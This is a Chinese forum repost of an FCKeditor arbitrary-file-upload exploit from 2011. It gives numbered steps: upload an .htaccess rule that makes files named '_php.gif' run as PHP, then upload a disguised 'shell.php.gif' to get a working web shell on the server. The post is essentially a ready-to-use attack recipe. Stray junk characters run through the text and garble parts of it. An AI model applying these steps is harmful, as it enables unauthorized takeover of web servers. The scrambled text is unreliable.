| FCKeditor所有php版本Upload上传漏洞 作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:07 减小字体 增大字体 [+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability+ C1 O' r6 C- |, r# Y% @0 E [+] Date: 2011$ O! Y N7 ?' s$ {8 T [+] Author : sinesafe.cn4 d2 c5 g: R* B0 l [+] Website : WwW.sinesafe.cn! f2 p+ n% ?: C' }0 Q$ } ——————————————————— 1.create a htaccess file: code:+ V1 Y3 t D9 W5 | <FilesMatch “_php.gif”>1 u4 c7 p. ]2 Y% k! R SetHandler application/x-httpd-php </FilesMatch>. } h3 u: h0 e8 ]) j 2.Now upload this htaccess with FCKeditor.0 z# [0 _3 ^$ W: V5 K; a http://www.sinesafe.cn/FCKeditor ... er/upload/test.html http://www.sinesafe.cn/FCKeditor ... onnectors/test.html- b& I9 L+ @' U4 g ———————————————————————————————- 3.Now upload shell.php.gif with FCKeditor. J, Q0 ~$ K' X( T: s3 v 4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically.; N8 z! F( |) d8 j/ Q 5.http://www.sinesafe.cn/anything/shell_php.gif. o$ M- K4 R s" { 6.Now shell is available from server. |
| 欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |